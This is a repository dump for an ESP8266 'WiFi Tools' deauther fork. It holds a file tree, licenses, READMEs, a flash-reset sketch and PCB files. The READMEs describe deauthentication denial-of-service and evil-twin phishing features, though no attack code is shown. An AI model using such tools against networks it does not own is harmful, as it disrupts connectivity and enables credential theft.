├── .gitignore ├── LICENSE ├── README.md ├── Reset_Sketch ├── README.md └── Reset_Sketch.ino ├── WiFi Tik I ├── LICENCE ├── README.md ├── fp-info-cache ├── miaw-wifitools-backups │ ├── miaw-wifitools-2024-01-17_172032.zip │ ├── miaw-wifitools-2024-01-17_172532.zip │ ├── miaw-wifitools-2024-01-17_173049.zip │ ├── miaw-wifitools-2024-01-18_190232.zip │ ├── miaw-wifitools-2024-01-19_143443.zip │ ├── miaw-wifitools-2024-01-19_144000.zip │ ├── miaw-wifitools-2024-01-19_144605.zip │ ├── miaw-wifitools-2024-01-19_145253.zip │ ├── miaw-wifitools-2024-01-19_153442.zip │ ├── miaw-wifitools-2024-01-21_205926.zip │ ├── miaw-wifitools-2024-01-21_211645.zip │ ├── miaw-wifitools-2024-01-22_160700.zip │ ├── miaw-wifitools-2024-01-25_174701.zip │ ├── miaw-wifitools-2024-01-25_175351.zip │ ├── miaw-wifitools-2024-01-25_175854.zip │ ├── miaw-wifitools-2024-01-25_180355.zip │ ├── miaw-wifitools-2024-01-25_181003.zip │ ├── miaw-wifitools-2024-01-27_162749.zip │ ├── miaw-wifitools-2024-01-28_072430.zip │ ├── miaw-wifitools-2024-01-28_073154.zip │ ├── miaw-wifitools-2024-01-28_185901.zip │ ├── miaw-wifitools-2024-01-29_174640.zip │ ├── miaw-wifitools-2024-01-31_201057.zip │ ├── miaw-wifitools-2024-02-21_165617.zip │ ├── miaw-wifitools-2024-02-21_211235.zip │ └── miaw-wifitools-2024-02-22_155357.zip ├── miaw-wifitools.kicad_pcb ├── miaw-wifitools.kicad_prl ├── miaw-wifitools.kicad_pro ├── miaw-wifitools.kicad_sch ├── pcbway_production │ ├── 2024-01-17-17-33-28 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_gerber.zip │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ └── miaw-wifitools.kicad_pcb_positions.csv │ ├── 2024-01-18-19-02-34 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ ├── miaw-wifitools.kicad_pcb_positions.csv │ │ └── miawifitools.zip │ └── 2024-01-19-14-52-54 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ ├── miaw-wifitools.kicad_pcb_positions.csv │ │ └── wifitools.zip └── preview │ ├── bottom.png │ └── top.png ├── WiFi Tik II ├── LICENCE ├── README.md ├── fp-info-cache ├── miaw-wifitools-backups │ ├── miaw-wifitools-2024-01-21_211645.zip │ ├── miaw-wifitools-2024-01-22_160700.zip │ ├── miaw-wifitools-2024-01-25_174701.zip │ ├── miaw-wifitools-2024-01-25_175351.zip │ ├── miaw-wifitools-2024-01-25_175854.zip │ ├── miaw-wifitools-2024-01-25_180355.zip │ ├── miaw-wifitools-2024-01-25_181003.zip │ ├── miaw-wifitools-2024-01-27_162749.zip │ ├── miaw-wifitools-2024-01-28_181948.zip │ ├── miaw-wifitools-2024-01-28_183733.zip │ ├── miaw-wifitools-2024-01-28_184238.zip │ ├── miaw-wifitools-2024-01-28_185137.zip │ ├── miaw-wifitools-2024-01-28_185845.zip │ ├── miaw-wifitools-2024-01-31_211233.zip │ ├── miaw-wifitools-2024-01-31_211821.zip │ ├── miaw-wifitools-2024-01-31_212351.zip │ ├── miaw-wifitools-2024-01-31_214007.zip │ ├── miaw-wifitools-2024-01-31_214545.zip │ ├── miaw-wifitools-2024-02-02_184549.zip │ ├── miaw-wifitools-2024-02-02_185129.zip │ ├── miaw-wifitools-2024-02-02_185651.zip │ ├── miaw-wifitools-2024-02-02_190305.zip │ ├── miaw-wifitools-2024-02-02_192439.zip │ ├── miaw-wifitools-2024-02-16_025911.zip │ ├── miaw-wifitools-2024-02-21_134243.zip │ └── miaw-wifitools-2024-02-21_165531.zip ├── miaw-wifitools.kicad_pcb ├── miaw-wifitools.kicad_prl ├── miaw-wifitools.kicad_pro ├── miaw-wifitools.kicad_sch ├── pcbway_production │ ├── 2024-01-17-17-33-28 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_gerber.zip │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ └── miaw-wifitools.kicad_pcb_positions.csv │ ├── 2024-01-18-19-02-34 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ ├── miaw-wifitools.kicad_pcb_positions.csv │ │ └── miawifitools.zip │ └── 2024-01-19-14-52-54 │ │ ├── miaw-wifitools.kicad_pcb_bom.csv │ │ ├── miaw-wifitools.kicad_pcb_netlist.ipc │ │ ├── miaw-wifitools.kicad_pcb_positions.csv │ │ └── wifitools.zip └── preview2.0 │ ├── bottom.png │ └── top.png ├── arduino-cli.yaml ├── esp8266_wifitools ├── .gitignore ├── .vscode │ ├── arduino.json │ ├── c_cpp_properties.json │ └── settings.json ├── A_config.h ├── Accesspoints.cpp ├── Accesspoints.h ├── Attack.cpp ├── Attack.h ├── BatteryManagement.cpp ├── BatteryManagement.h ├── CLI.cpp ├── CLI.h ├── DisplayUI.cpp ├── DisplayUI.h ├── EEPROMHelper.h ├── EvilTwin.cpp ├── EvilTwin.h ├── Names.cpp ├── Names.h ├── SSIDs.cpp ├── SSIDs.h ├── Scan.cpp ├── Scan.h ├── SimpleList.h ├── Stations.cpp ├── Stations.h ├── data │ └── web │ │ ├── LICENSE.gz │ │ ├── attack.html.gz │ │ ├── index.html.gz │ │ ├── info.html.gz │ │ ├── js │ │ ├── attack.js.gz │ │ ├── scan.js.gz │ │ ├── settings.js.gz │ │ ├── site.js.gz │ │ └── ssids.js.gz │ │ ├── lang │ │ ├── cn.lang.gz │ │ ├── cs.lang.gz │ │ ├── da.lang.gz │ │ ├── de.lang.gz │ │ ├── en.lang.gz │ │ ├── es.lang.gz │ │ ├── fi.lang.gz │ │ ├── fr.lang.gz │ │ ├── hu.lang.gz │ │ ├── in.lang.gz │ │ ├── it.lang.gz │ │ ├── ja.lang.gz │ │ ├── ko.lang.gz │ │ ├── nl.lang.gz │ │ ├── pl.lang.gz │ │ ├── pt-br.lang.gz │ │ ├── ptbr.lang.gz │ │ ├── ro.lang.gz │ │ ├── ru.lang.gz │ │ ├── th.lang.gz │ │ ├── tlh.lang.gz │ │ └── uk.lang.gz │ │ ├── scan.html.gz │ │ ├── settings.html.gz │ │ ├── ssids.html.gz │ │ └── style.css.gz ├── debug.h ├── esp8266_wifitools.ino ├── functions.h ├── language.h ├── led.cpp ├── led.h ├── oui.h ├── settings.cpp ├── settings.h ├── src │ ├── Adafruit_DotStar-1.1.4 │ │ ├── Adafruit_DotStar.cpp │ │ ├── Adafruit_DotStar.h │ │ └── license.txt │ ├── Adafruit_NeoPixel-1.7.0 │ │ ├── Adafruit_NeoPixel.cpp │ │ ├── Adafruit_NeoPixel.h │ │ ├── COPYING │ │ └── esp8266.c │ ├── ArduinoJson-v5.13.5 │ │ └── ArduinoJson.h │ ├── DS3231-1.0.3 │ │ ├── DS3231.cpp │ │ ├── DS3231.h │ │ └── LICENSE │ ├── SimpleButton │ │ ├── Buttons │ │ │ ├── AnalogStick.cpp │ │ │ ├── AnalogStick.h │ │ │ ├── Button.cpp │ │ │ ├── Button.h │ │ │ ├── ButtonAnalog.cpp │ │ │ ├── ButtonAnalog.h │ │ │ ├── ButtonGPIOExpander.cpp │ │ │ ├── ButtonGPIOExpander.h │ │ │ ├── ButtonPullup.cpp │ │ │ ├── ButtonPullup.h │ │ │ ├── ButtonPullupGPIOExpander.cpp │ │ │ ├── ButtonPullupGPIOExpander.h │ │ │ ├── PS2Gamepad.cpp │ │ │ ├── PS2Gamepad.h │ │ │ ├── RotaryEncoder.cpp │ │ │ ├── RotaryEncoder.h │ │ │ ├── RotaryEncoderI2C.cpp │ │ │ ├── RotaryEncoderI2C.h │ │ │ ├── Switch.cpp │ │ │ └── Switch.h │ │ ├── Events │ │ │ ├── ClickEvent.cpp │ │ │ ├── ClickEvent.h │ │ │ ├── DoubleclickEvent.cpp │ │ │ ├── DoubleclickEvent.h │ │ │ ├── Event.cpp │ │ │ ├── Event.h │ │ │ ├── HoldEvent.cpp │ │ │ ├── HoldEvent.h │ │ │ ├── PushEvent.cpp │ │ │ ├── PushEvent.h │ │ │ ├── ReleaseEvent.cpp │ │ │ └── ReleaseEvent.h │ │ ├── LICENSE │ │ ├── SimpleButton.h │ │ └── libs │ │ │ ├── GPIOExpander.cpp │ │ │ ├── GPIOExpander.h │ │ │ ├── MCP23017.cpp │ │ │ ├── MCP23017.h │ │ │ ├── PCF8574.cpp │ │ │ ├── PCF8574.h │ │ │ ├── PCF8575.cpp │ │ │ └── PCF8575.h │ ├── esp8266-oled-ssd1306-4.1.0 │ │ ├── OLEDDisplay.cpp │ │ ├── OLEDDisplay.h │ │ ├── OLEDDisplayFonts.h │ │ ├── OLEDDisplayUi.cpp │ │ ├── OLEDDisplayUi.h │ │ ├── README.md │ │ ├── SH1106.h │ │ ├── SH1106Brzo.h │ │ ├── SH1106Spi.h │ │ ├── SH1106Wire.h │ │ ├── SSD1306.h │ │ ├── SSD1306Brzo.h │ │ ├── SSD1306I2C.h │ │ ├── SSD1306Spi.h │ │ ├── SSD1306Wire.h │ │ └── license │ └── my92xx-3.0.3 │ │ ├── LICENSE │ │ ├── my92xx.cpp │ │ └── my92xx.h ├── webfiles.h ├── wifi.cpp └── wifi.h ├── logo.png ├── serialcommands.md ├── settings.md ├── utils ├── arduino-cli-compile.py ├── old_web_converter │ ├── convert_all.sh │ ├── data_h_temp │ └── login.html ├── vendor_list_updater │ ├── README.md │ └── update_manuf.py └── web_converter │ ├── css_html_js_minify │ ├── __init__.py │ ├── css_minifier.py │ ├── html_minifier.py │ ├── js_minifier.py │ ├── minify.py │ └── variables.py │ ├── readme.md │ └── webConverter.py ├── webConverter ├── attack.html ├── attack.js ├── connecting.html ├── convert.sh ├── data.h ├── fs.js ├── fsmanager.html ├── scan.js ├── site.js └── start.sh └── web_interface ├── attack.html ├── attack.json ├── connecting.html ├── fsmanager.html ├── index.html ├── info.html ├── js ├── attack.js ├── fs.js ├── scan.js ├── settings.js ├── site.js └── ssids.js ├── lang ├── cn.lang ├── cs.lang ├── da.lang ├── de.lang ├── en.lang ├── es.lang ├── fi.lang ├── fr.lang ├── hu.lang ├── in.lang ├── it.lang ├── ja.lang ├── ko.lang ├── nl.lang ├── pl.lang ├── ptbr.lang ├── ro.lang ├── ru.lang ├── th.lang ├── tlh.lang └── uk.lang ├── list.json ├── log.json ├── login.html ├── names.json ├── run ├── scan.html ├── scan.json ├── settings.html ├── settings.json ├── ssids.html ├── ssids.json ├── style.css ├── test.html └── wifistatus.txt /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | *.bin 3 | 4 | *.elf 5 | 6 | *.map 7 | 8 | .DS_Store 9 | 10 | *.pyc 11 | 12 | .vscode 13 | 14 | utils/web_converter/css_html_js_minify/__pycache__/ 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Do not redistribute, advertise or sell this software as a "jammer"!!! 2 | 3 | MIT License 4 | 5 | Copyright (c) 2020 Spacehuhn Technologies 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all 15 | copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | SOFTWARE. 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WiFi Tools (esp8266) 2 | 3 | Scan for WiFi devices, block selected connections, Start EvilTwin with custom html, create dozens of networks and confuse WiFi scanners. 4 | 5 | Deauther Logo 6 | 7 | ## Password 8 | 9 | The password for `A F` is `Dx4White` 10 | 11 | ## About this Project 12 | 13 | This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general. 14 | 15 | The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network. 16 | Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware. 17 | With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network. 18 | 19 | ## Disclaimer 20 | 21 | This project is a proof of concept for testing and educational purposes. 22 | Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!** 23 | 24 | **Use it only against your own networks and devices!** 25 | Please check the legal regulations in your country before using it. 26 | We don't take any responsibility for what you do with this program. 27 | -------------------------------------------------------------------------------- /Reset_Sketch/README.md: -------------------------------------------------------------------------------- 1 | # RESET 2 | 3 | ## Method 1 4 | 5 | Open the Reset_Sketch.ino and upload with the correct settings. 6 | 7 | ## Method 2 8 | 9 | Flash one of the `reset_` files. 10 | 11 | ## Method 3 12 | 13 | Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. 14 | Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. -------------------------------------------------------------------------------- /Reset_Sketch/Reset_Sketch.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /* 5 | Upload this sketch to your ESP8266 to erase 6 | - all files in the SPIFFS, 7 | - all data in the EEPROM 8 | - WiFi credentials (SSID, password) 9 | 10 | Also overwrites the previous program with this one (obviously). 11 | */ 12 | 13 | void setup() { 14 | Serial.begin(115200); 15 | 16 | Serial.println(); 17 | Serial.println("STARTING..."); 18 | 19 | EEPROM.begin(4096); 20 | Serial.println("EEPROM initialized"); 21 | 22 | for (int i = 0; i < 4096; ++i){ 23 | EEPROM.write(i,0x00); 24 | } 25 | 26 | Serial.println("EEPROM cleaned"); 27 | 28 | LittleFS.begin(); 29 | Serial.println("SPIFFS initialized"); 30 | 31 | LittleFS.format(); 32 | Serial.println("SPIFFS cleaned"); 33 | 34 | ESP.eraseConfig(); 35 | 36 | Serial.println("WiFi credentials erased"); 37 | 38 | Serial.println("DONE!"); 39 | 40 | delay(10000); 41 | 42 | ESP.reset(); 43 | } 44 | 45 | void loop() { 46 | 47 | } 48 | -------------------------------------------------------------------------------- /WiFi Tik I/LICENCE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Spacehuhn Technologies 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /WiFi Tik I/README.md: -------------------------------------------------------------------------------- 1 | # WiFiTik Prototype 2 | This project used base firmware [WiFi Tools](https://github.com/dx4grey/esp8266_wifitools) 3 | 4 | ## Component quantity 5 | 6 | | Designator | Quantity | Value | Pack | MPN | Mount Type | 7 | | -------------- | -------- | --------------------------------- | ----------------------------------- | ---------------------------------- | ---------- | 8 | | 1 | 1 | OLED | | | THT | 9 | | D1 MINI | 1 | Wemos-D1-mini | wemos-d1-mini-connectors-only | | THT | 10 | | A, B, DOWN, UP | 4 | SW_PUSH_6mm | SW_PUSH_6mm | | THT | 11 | | Hole, Hole, Hole, Hole | 4 | MountingHole_2.1mm | MountingHole_2.1mm | | THT | 12 | | LED | 1 | LED_Cree-XQ_HandSoldering | LED_Cree-XQ_HandSoldering | | SMT | 13 | | R1, R2 | 2 | Resistor | Resistor | | THT | 14 | | RX, TX | 2 | Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork | Pin_D0.9mm_L10.0mm_W2.4mm_FlatFork | | THT | 15 | | VIN | 1 | Power 5V | Power 5V | | SMT | 16 | 17 | ## PCB Previews 18 | 19 |
20 | Front View 21 | 22 | ![Front View](./preview/top.png) 23 |
24 | 25 |
26 | Back View 27 | 28 | ![Back View](./preview/bottom.png) 29 |
30 | 31 | ## About this Project 32 | 33 | This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general. 34 | 35 | The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network. 36 | Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware. 37 | With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network. 38 | 39 | ## Disclaimer 40 | 41 | This project is a proof of concept for testing and educational purposes. 42 | Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!** 43 | 44 | **Use it only against your own networks and devices!** 45 | Please check the legal regulations in your country before using it. 46 | We don't take any responsibility for what you do with this program. -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_172032.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_172032.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_172532.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_172532.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_173049.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-17_173049.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-18_190232.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-18_190232.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_143443.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_143443.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_144000.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_144000.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_144605.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_144605.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_145253.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_145253.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_153442.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-19_153442.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-21_205926.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-21_205926.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-21_211645.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-21_211645.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-22_160700.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-22_160700.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_174701.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_174701.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175351.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175351.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175854.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_175854.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_180355.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_180355.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_181003.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-25_181003.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-27_162749.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-27_162749.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_072430.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_072430.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_073154.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_073154.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185901.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-28_185901.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-29_174640.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-29_174640.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-31_201057.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-01-31_201057.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-21_165617.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-21_165617.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-21_211235.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-21_211235.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-22_155357.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DX4GREY/esp8266_wifitools/a5427c4aea49f217945fb3f071265f5f5fed3c88/WiFi Tik I/miaw-wifitools-backups/miaw-wifitools-2024-02-22_155357.zip -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools.kicad_prl: -------------------------------------------------------------------------------- 1 | { 2 | "board": { 3 | "active_layer": 44, 4 | "active_layer_preset": "All Layers", 5 | "auto_track_width": true, 6 | "hidden_netclasses": [], 7 | "hidden_nets": [], 8 | "high_contrast_mode": 0, 9 | "net_color_mode": 1, 10 | "opacity": { 11 | "images": 0.6, 12 | "pads": 1.0, 13 | "tracks": 1.0, 14 | "vias": 1.0, 15 | "zones": 0.6 16 | }, 17 | "selection_filter": { 18 | "dimensions": true, 19 | "footprints": true, 20 | "graphics": true, 21 | "keepouts": true, 22 | "lockedItems": false, 23 | "otherItems": true, 24 | "pads": true, 25 | "text": true, 26 | "tracks": true, 27 | "vias": true, 28 | "zones": true 29 | }, 30 | "visible_items": [ 31 | 0, 32 | 1, 33 | 2, 34 | 3, 35 | 4, 36 | 5, 37 | 8, 38 | 9, 39 | 10, 40 | 12, 41 | 13, 42 | 15, 43 | 16, 44 | 17, 45 | 18, 46 | 19, 47 | 20, 48 | 21, 49 | 22, 50 | 23, 51 | 24, 52 | 25, 53 | 26, 54 | 27, 55 | 28, 56 | 29, 57 | 30, 58 | 32, 59 | 33, 60 | 34, 61 | 35, 62 | 36, 63 | 39, 64 | 40 65 | ], 66 | "visible_layers": "fffffff_ffffffff", 67 | "zone_display_mode": 0 68 | }, 69 | "meta": { 70 | "filename": "miaw-wifitools.kicad_prl", 71 | "version": 3 72 | }, 73 | "project": { 74 | "files": [] 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /WiFi Tik I/miaw-wifitools.kicad_sch: -------------------------------------------------------------------------------- 1 | (kicad_sch (version 20230121) (generator eeschema) 2 | (paper "A4") 3 | (lib_symbols) 4 | (symbol_instances) 5 | ) 6 | -------------------------------------------------------------------------------- /WiFi Tik I/pcbway_production/2024-01-17-17-33-28/miaw-wifitools.kicad_pcb_bom.csv: -------------------------------------------------------------------------------- 1 | designator,quantity,value,pack,mpn,mount_type 2 | ,1,oled,oled,,tht 3 | (D1 